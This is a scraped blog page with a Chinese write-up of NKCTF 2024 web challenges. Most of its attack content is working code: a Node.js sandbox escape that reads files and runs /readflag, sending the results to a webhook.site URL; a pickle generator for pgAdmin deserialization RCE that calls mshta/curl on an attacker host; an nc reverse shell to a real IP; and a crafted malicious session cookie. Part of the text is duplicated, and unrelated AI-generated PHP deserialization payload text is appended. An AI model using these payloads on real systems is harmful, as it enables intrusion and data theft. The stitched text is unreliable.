NKCTF 2024

NKCTF 2024

web

my first cms

爆破密码进去直接命令执行得到flag

在这里插入图片描述

参考链接

https://github.com/capture0x/CMSMadeSimple2
https://github.com/capture0x/CMSMadeSimple
全世界最简单的CTF

使用nodejs的fs模块可以读取文件,我猜测文件位置是app/app.js查看到源码

然后使用语句

throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const gg = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
      const fs = gg.mainModule.require('fs').readFileSync('/app/app.js');
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/8asd9-3eb1-4b42-adef-09fc03f43cca", {method: "POST", body: JSON.stringify({data: `${fs}`})});
    }
})

即可读取到app/app.js

他源码并没有过滤掉fork我们正好可以利用

最终脚本

// 文件写入suceess
throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const gg = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
let content = `
        let cs = require('${`${'child_p'}rocess').exe`}cSync('/readflag').toString();
        ${`${'proces'}s`}.on("message",function(msg){
            fetch("https://webhook.site/8asd9-3eb1-4b42-adef-09fc03f43cca", {method: "POST", body: JSON.stringify({data: cs})});
        })
      `;
      const fs = gg.mainModule.require('fs').appendFileSync("./readflag1.js",content);
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/8asd9-3eb1-4b42-adef-09fc03f43cca", {method: "POST", body: JSON.stringify({data: `${fs}`})});
    }
})

//通信成功
throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const g = (cc.constructor.constructor(`return ${`${'proces'}s`}`))();
      const h = g.mainModule.require(`${'child_p'}rocess`).fork('./readflag1.js');
      h.send('hello');
      const p = (cc.constructor.constructor('return fetch'))();
      return p("https://webhook.site/8asd9-3eb1-4b42-adef-09fc03f43cca", {method: "POST", body: JSON.stringify({data: `${h}`})});
    }
})

注意过滤即可

attack_tacooooo

参考链接

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/

脚本如下

import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    if len(sys.argv) != 2:
        exit(f"usage: {sys.argv[0]} ip:port")
    with open('nt.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))

还有一个smbserver.py

首先要知道这个漏洞是因为join去合并拼接产生

此函数有两个缺点:

它没有设置不应转义的受信任基路径,因此返回 。os.path.join("/opt/safe/", "../../etc/passwd")/etc/passwd
它在其参数中使用最右边的绝对路径作为根路径,因此返回 。os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd")/etc/passwd

比赛题目环境是由docker容器搭建

环境内无curl以及bash

但是有nc可以利用nc来达到反弹shell

nc 8.137.131.159 9006 -e sh

并且下面是需要利用

pga4_session来构造反序列化

GET /browser/ HTTP/1.1
Host: 7d4eaaa6-c6d5-487e-a1d4-65986d6adb85.node.nkctf.yuzhian.com.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://7d4eaaa6-c6d5-487e-a1d4-65986d6adb85.node.nkctf.yuzhian.com.cn/login?next=%2F
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=../storage/tacooooo_qq.com/posix.pickle!baeac19e-2dcc-4d96-a4c7-1ff410ddd8c2!AZleysLS+ZnrL20IU1mGt6lHxXc3O8/It0JHyC4sJqA=; PGADMIN_LANGUAGE=en
Connection: close

构造如上,路径无所谓

公网ip监听端口即可

c19e-2dcc-4d96-a4c7-1ff410ddd8c2!AZleysLS+ZnrL20IU1mGt6lHxXc3O8/It0JHyC4sJqA=; PGADMIN_LANGUAGE=en
Connection: close


构造如上,路径无所谓

公网ip监听端口即可

  • 14
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
请注意,我作为AI语言模型不能诱导或者帮助任何形式的攻击行为。以下内容仅用于教学目的。 首先,这段代码中存在一个反序列化漏洞,可以通过构造一个恶意的序列化对象来执行任意代码。因此,首先需要构造一个payload,使用序列化函数将攻击代码序列化并将其作为参数传递给反序列化函数。 在这个例子中,可以通过在反序列化前添加以下内容来伪造一个序列化字符串: O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";s:11:"my_payload";} 这将创建一个Welcome对象,它的名称为“welcome_to_NKCTF”,arg为“my_payload”。 接下来,需要构造一个恶意函数并将其传递给这个对象。由于类名、方法名和参数都被限制了,我们可以选择Happy类中的__invoke()方法。该方法接受一个字符串作为参数,将其传递给被调用的shell函数,然后执行该函数的输出。因此,我们可以将攻击代码作为字符串传递给该函数,并使用反引号(`)将其封装在shell()函数中,以便能够直接执行它。最后,我们需要检查并绕过输入过滤函数waf(),这可以通过传递包含非法字符的字符串来完成,触发die语句并终止程序的执行。 以下是构造的payload: O:7:"Welcome":2:{s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";s:71:"$obj = new Hell0(); $obj->func = create_function('', '`{$_GET["cmd"]}`'); echo $obj;";} 这个payload将创建一个Welcome对象,其中arg为一个包含恶意代码的字符串,这里我们创建了一个Hell0对象,将恶意代码作为匿名函数传递给其func属性,并使用echo打印出来。 最后,我们将payload作为参数传递给反序列化函数,访问该页面时将触发攻击代码的执行,从而可以尝试在目标服务器上执行任意命令,窃取敏感数据等攻击行为。 请注意,在真实环境中执行此类攻击是不道德的、非法的、有风险的,本教程仅用于学术目的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值